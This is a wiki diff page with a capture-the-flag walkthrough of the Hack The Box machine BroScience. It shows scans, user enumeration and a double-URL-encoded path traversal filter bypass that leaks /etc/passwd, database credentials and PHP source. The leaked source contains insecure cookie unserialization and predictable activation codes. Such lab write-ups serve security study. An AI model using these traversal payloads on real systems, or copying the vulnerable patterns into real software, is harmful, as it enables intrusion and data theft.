BroScience: Difference between revisions

From RCATs
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m (Protected "BroScience" ([Edit=Allow only administrators] (indefinite) [Move=Allow only administrators] (indefinite)))
 
(3 intermediate revisions by one other user not shown)
Line 148: Line 148:
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
_laurel:x:998:998::/var/log/laurel:/bin/false
</syntaxhighlight>
db_connect
<syntaxhighlight lang="powershell">
# GET /includes/img.php?path=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%38%25%37%34%25%36%64%25%36%63%25%32%66%25%36%39%25%36%65%25%36%33%25%36%63%25%37%35%25%36%34%25%36%35%25%37%33%25%32%66%25%36%34%25%36%32%25%35%66%25%36%33%25%36%66%25%36%65%25%36%65%25%36%35%25%36%33%25%37%34%25%32%65%25%37%30%25%36%38%25%37%30


HTTP/1.1 200 OK
Date: Sun, 05 Feb 2023 20:08:11 GMT
Server: Apache/2.4.54 (Debian)
Content-Length: 337
Connection: close
Content-Type: image/png


<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";
$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");
if (!$db_conn) {
    die("<b>Error</b>: Unable to connect to database");
}
?>
</syntaxhighlight>
utils.php
<syntaxhighlight lang="powershell">
GET /includes/img.php?path=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%38%25%37%34%25%36%64%25%36%63%25%32%66%25%36%39%25%36%65%25%36%33%25%36%63%25%37%35%25%36%34%25%36%35%25%37%33%25%32%66%25%37%35%25%37%34%25%36%39%25%36%63%25%37%33%25%32%65%25%37%30%25%36%38%25%37%30
HTTP/1.1 200 OK
Date: Sun, 05 Feb 2023 20:10:07 GMT
Server: Apache/2.4.54 (Debian)
Content-Length: 3060
Connection: close
Content-Type: image/png
<?php
function generate_activation_code() {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand(time());
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}
// Source: https://stackoverflow.com/a/4420773 (Slightly adapted)
function rel_time($from, $to = null) {
    $to = (($to === null) ? (time()) : ($to));
    $to = ((is_int($to)) ? ($to) : (strtotime($to)));
    $from = ((is_int($from)) ? ($from) : (strtotime($from)));
    $units = array
    (
        "year"  => 29030400, // seconds in a year  (12 months)
        "month"  => 2419200,  // seconds in a month  (4 weeks)
        "week"  => 604800,  // seconds in a week  (7 days)
        "day"    => 86400,    // seconds in a day    (24 hours)
        "hour"  => 3600,    // seconds in an hour  (60 minutes)
        "minute" => 60,      // seconds in a minute (60 seconds)
        "second" => 1        // 1 second
    );
    $diff = abs($from - $to);
    if ($diff < 1) {
        return "Just now";
    }
    $suffix = (($from > $to) ? ("from now") : ("ago"));
    $unitCount = 0;
    $output = "";
    foreach($units as $unit => $mult)
        if($diff >= $mult && $unitCount < 1) {
            $unitCount += 1;
            // $and = (($mult != 1) ? ("") : ("and "));
            $and = "";
            $output .= ", ".$and.intval($diff / $mult)." ".$unit.((intval($diff / $mult) == 1) ? ("") : ("s"));
            $diff -= intval($diff / $mult) * $mult;
        }
    $output .= " ".$suffix;
    $output = substr($output, strlen(", "));
    return $output;
}
class UserPrefs {
    public $theme;
    public function __construct($theme = "light") {
$this->theme = $theme;
    }
}
function get_theme() {
    if (isset($_SESSION['id'])) {
        if (!isset($_COOKIE['user-prefs'])) {
            $up_cookie = base64_encode(serialize(new UserPrefs()));
            setcookie('user-prefs', $up_cookie);
        } else {
            $up_cookie = $_COOKIE['user-prefs'];
        }
        $up = unserialize(base64_decode($up_cookie));
        return $up->theme;
    } else {
        return "light";
    }
}
function get_theme_class($theme = null) {
    if (!isset($theme)) {
        $theme = get_theme();
    }
    if (strcmp($theme, "light")) {
        return "uk-light";
    } else {
        return "uk-dark";
    }
}
function set_theme($val) {
    if (isset($_SESSION['id'])) {
        setcookie('user-prefs',base64_encode(serialize(new UserPrefs($val))));
    }
}
class Avatar {
    public $imgPath;
    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }
    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}
class AvatarInterface {
    public $tmp;
    public $imgPath;
    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}
?>
</syntaxhighlight>
activate.php
<syntaxhighlight lang="powershell">
# GET /includes/img.php?path=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%38%25%37%34%25%36%64%25%36%63%25%32%66%25%36%31%25%36%33%25%37%34%25%36%39%25%37%36%25%36%31%25%37%34%25%36%35%25%32%65%25%37%30%25%36%38%25%37%30
HTTP/1.1 200 OK
Date: Sun, 05 Feb 2023 20:15:27 GMT
Server: Apache/2.4.54 (Debian)
Content-Length: 2026
Connection: close
Content-Type: image/png
<?php
session_start();
// Check if user is logged in already
if (isset($_SESSION['id'])) {
    header('Location: /index.php');
}
if (isset($_GET['code'])) {
    // Check if code is formatted correctly (regex)
    if (preg_match('/^[A-z0-9]{32}$/', $_GET['code'])) {
        // Check for code in database
        include_once 'includes/db_connect.php';
        $res = pg_prepare($db_conn, "check_code_query", 'SELECT id, is_activated::int FROM users WHERE activation_code=$1');
        $res = pg_execute($db_conn, "check_code_query", array($_GET['code']));
        if (pg_num_rows($res) == 1) {
            // Check if account already activated
            $row = pg_fetch_row($res);
            if (!(bool)$row[1]) {
                // Activate account
                $res = pg_prepare($db_conn, "activate_account_query", 'UPDATE users SET is_activated=TRUE WHERE id=$1');
                $res = pg_execute($db_conn, "activate_account_query", array($row[0]));
               
                $alert = "Account activated!";
                $alert_type = "success";
            } else {
                $alert = 'Account already activated.';
            }
        } else {
            $alert = "Invalid activation code.";
        }
    } else {
        $alert = "Invalid activation code.";
    }
} else {
    $alert = "Missing activation code.";
}
?>
<html>
    <head>
        <title>BroScience : Activate account</title>
        <?php include_once 'includes/header.php'; ?>
    </head>
    <body>
        <?php include_once 'includes/navbar.php'; ?>
        <div class="uk-container uk-container-xsmall">
            <?php
            // Display any alerts
            if (isset($alert)) {
            ?>
                <div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>">
                    <a class="uk-alert-close" uk-close></a>
                    <?=$alert?>
                </div>
            <?php
            }
            ?>
        </div>
    </body>
</html>
</syntaxhighlight>
</syntaxhighlight>

Latest revision as of 20:40, 10 April 2023

Box Information

Network: Hack The Box

Operating System: Linux

Release Date: 7 January 2023

Creator: bmdyy

Difficulty: Medium

Points: 30

Enumeration

Nmap

# Nmap 7.93 scan initiated Thu Jan 26 19:36:36 2023 as: nmap -sCV -oA nmap/broscience 10.129.5.153
Nmap scan report for 10.129.5.153
Host is up (0.077s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 df17c6bab18222d91db5ebff5d3d2cb7 (RSA)
|   256 3f8a56f8958faeafe3ae7eb880f679d2 (ECDSA)
|_  256 3c6575274ae2ef9391374cfdd9d46341 (ED25519)
80/tcp  open  http     Apache httpd 2.4.54
|_http-title: Did not follow redirect to https://broscience.htb/
|_http-server-header: Apache/2.4.54 (Debian)
443/tcp open  ssl/http Apache httpd 2.4.54 ((Debian))
|_ssl-date: TLS randomness does not represent time
|_http-title: BroScience : Home
|_http-server-header: Apache/2.4.54 (Debian)
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT
| Not valid before: 2022-07-14T19:48:36
|_Not valid after:  2023-07-14T19:48:36
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jan 26 19:37:09 2023 -- 1 IP address (1 host up) scanned in 32.28 seconds

Directory Scan

________________________________________________                                                                                                                                                                                        [15/68]
                                                                                                                                                                                                                                               
 :: Method           : GET                                                                                                                                                                                                                     
 :: URL              : https://broscience.htb/FUZZ                                                                                                                                                                                             
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt                                                                                                                                   
 :: Follow redirects : false                                                                                                                                                                                                                   
 :: Calibration      : false                                                                                                                                                                                                                   
 :: Timeout          : 10                                                                                                                                                                                                                      
 :: Threads          : 40                                                                                                                                                                                                                      
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500                                                                                                                                                                    
________________________________________________                                                                                                                                              
images                  [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 131ms]                                                                                                                                                                                                                                      
includes                [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 104ms]                                                                                                                                                        
styles                  [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 115ms]
javascript              [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 73ms]
manual                  [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 80ms]
server-status           [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 101ms]

Username Enumeration

# https://broscience.htb/user.php
# URL states missing ID Value


# https://broscience.htb/user.php?id=1
administrator
administrator@broscience.htb

# https://broscience.htb/user.php?id=2
bill
bill@broscience.htb

# https://broscience.htb/user.php?id=3
michael
michael@broscience.htb

# https://broscience.htb/user.php?id=4
john
john@broscience.htb

# https://broscience.htb/user.php?id=5
dmytro
dmytro@broscience.htb

/includes/

# img.php states
Error: Missing 'path' parameter.


# /includes/img.php?path=../../../../etc/passwd
Error: Attack detected.

# Single URL Encode
# /includes/img.php?path=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
Error: Attack detected.

# Double URL Encode
# GET /includes/img.php?path=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%34
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
tss:x:103:109:TPM software stack,,,:/var/lib/tpm:/bin/false
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:105:111:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:106:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:107:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
sshd:x:108:65534::/run/sshd:/usr/sbin/nologin
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
avahi:x:110:116:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
speech-dispatcher:x:111:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
pulse:x:112:118:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
saned:x:113:121::/var/lib/saned:/usr/sbin/nologin
colord:x:114:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:115:123::/var/lib/geoclue:/usr/sbin/nologin
Debian-gdm:x:116:124:Gnome Display Manager:/var/lib/gdm3:/bin/false
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false

db_connect 

# GET /includes/img.php?path=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%38%25%37%34%25%36%64%25%36%63%25%32%66%25%36%39%25%36%65%25%36%33%25%36%63%25%37%35%25%36%34%25%36%35%25%37%33%25%32%66%25%36%34%25%36%32%25%35%66%25%36%33%25%36%66%25%36%65%25%36%65%25%36%35%25%36%33%25%37%34%25%32%65%25%37%30%25%36%38%25%37%30

HTTP/1.1 200 OK
Date: Sun, 05 Feb 2023 20:08:11 GMT
Server: Apache/2.4.54 (Debian)
Content-Length: 337
Connection: close
Content-Type: image/png

<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";

$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");

if (!$db_conn) {
    die("<b>Error</b>: Unable to connect to database");
}
?>

utils.php 

GET /includes/img.php?path=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%38%25%37%34%25%36%64%25%36%63%25%32%66%25%36%39%25%36%65%25%36%33%25%36%63%25%37%35%25%36%34%25%36%35%25%37%33%25%32%66%25%37%35%25%37%34%25%36%39%25%36%63%25%37%33%25%32%65%25%37%30%25%36%38%25%37%30

HTTP/1.1 200 OK
Date: Sun, 05 Feb 2023 20:10:07 GMT
Server: Apache/2.4.54 (Debian)
Content-Length: 3060
Connection: close
Content-Type: image/png

<?php
function generate_activation_code() {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand(time());
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}

// Source: https://stackoverflow.com/a/4420773 (Slightly adapted)
function rel_time($from, $to = null) {
    $to = (($to === null) ? (time()) : ($to));
    $to = ((is_int($to)) ? ($to) : (strtotime($to)));
    $from = ((is_int($from)) ? ($from) : (strtotime($from)));

    $units = array
    (
        "year"   => 29030400, // seconds in a year   (12 months)
        "month"  => 2419200,  // seconds in a month  (4 weeks)
        "week"   => 604800,   // seconds in a week   (7 days)
        "day"    => 86400,    // seconds in a day    (24 hours)
        "hour"   => 3600,     // seconds in an hour  (60 minutes)
        "minute" => 60,       // seconds in a minute (60 seconds)
        "second" => 1         // 1 second
    );

    $diff = abs($from - $to);

    if ($diff < 1) {
        return "Just now";
    }

    $suffix = (($from > $to) ? ("from now") : ("ago"));

    $unitCount = 0;
    $output = "";

    foreach($units as $unit => $mult)
        if($diff >= $mult && $unitCount < 1) {
            $unitCount += 1;
            // $and = (($mult != 1) ? ("") : ("and "));
            $and = "";
            $output .= ", ".$and.intval($diff / $mult)." ".$unit.((intval($diff / $mult) == 1) ? ("") : ("s"));
            $diff -= intval($diff / $mult) * $mult;
        }

    $output .= " ".$suffix;
    $output = substr($output, strlen(", "));

    return $output;
}

class UserPrefs {
    public $theme;

    public function __construct($theme = "light") {
		$this->theme = $theme;
    }
}

function get_theme() {
    if (isset($_SESSION['id'])) {
        if (!isset($_COOKIE['user-prefs'])) {
            $up_cookie = base64_encode(serialize(new UserPrefs()));
            setcookie('user-prefs', $up_cookie);
        } else {
            $up_cookie = $_COOKIE['user-prefs'];
        }
        $up = unserialize(base64_decode($up_cookie));
        return $up->theme;
    } else {
        return "light";
    }
}

function get_theme_class($theme = null) {
    if (!isset($theme)) {
        $theme = get_theme();
    }
    if (strcmp($theme, "light")) {
        return "uk-light";
    } else {
        return "uk-dark";
    }
}

function set_theme($val) {
    if (isset($_SESSION['id'])) {
        setcookie('user-prefs',base64_encode(serialize(new UserPrefs($val))));
    }
}

class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp;
    public $imgPath; 

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}
?>

activate.php 

# GET /includes/img.php?path=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%38%25%37%34%25%36%64%25%36%63%25%32%66%25%36%31%25%36%33%25%37%34%25%36%39%25%37%36%25%36%31%25%37%34%25%36%35%25%32%65%25%37%30%25%36%38%25%37%30

HTTP/1.1 200 OK
Date: Sun, 05 Feb 2023 20:15:27 GMT
Server: Apache/2.4.54 (Debian)
Content-Length: 2026
Connection: close
Content-Type: image/png

<?php
session_start();

// Check if user is logged in already
if (isset($_SESSION['id'])) {
    header('Location: /index.php');
}

if (isset($_GET['code'])) {
    // Check if code is formatted correctly (regex)
    if (preg_match('/^[A-z0-9]{32}$/', $_GET['code'])) {
        // Check for code in database
        include_once 'includes/db_connect.php';

        $res = pg_prepare($db_conn, "check_code_query", 'SELECT id, is_activated::int FROM users WHERE activation_code=$1');
        $res = pg_execute($db_conn, "check_code_query", array($_GET['code']));

        if (pg_num_rows($res) == 1) {
            // Check if account already activated
            $row = pg_fetch_row($res);
            if (!(bool)$row[1]) {
                // Activate account
                $res = pg_prepare($db_conn, "activate_account_query", 'UPDATE users SET is_activated=TRUE WHERE id=$1');
                $res = pg_execute($db_conn, "activate_account_query", array($row[0]));
                
                $alert = "Account activated!";
                $alert_type = "success";
            } else {
                $alert = 'Account already activated.';
            }
        } else {
            $alert = "Invalid activation code.";
        }
    } else {
        $alert = "Invalid activation code.";
    }
} else {
    $alert = "Missing activation code.";
}
?>

<html>
    <head>
        <title>BroScience : Activate account</title>
        <?php include_once 'includes/header.php'; ?>
    </head>
    <body>
        <?php include_once 'includes/navbar.php'; ?>
        <div class="uk-container uk-container-xsmall">
            <?php
            // Display any alerts
            if (isset($alert)) {
            ?>
                <div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>">
                    <a class="uk-alert-close" uk-close></a>
                    <?=$alert?>
                </div>
            <?php
            }
            ?>
        </div>
    </body>
</html>
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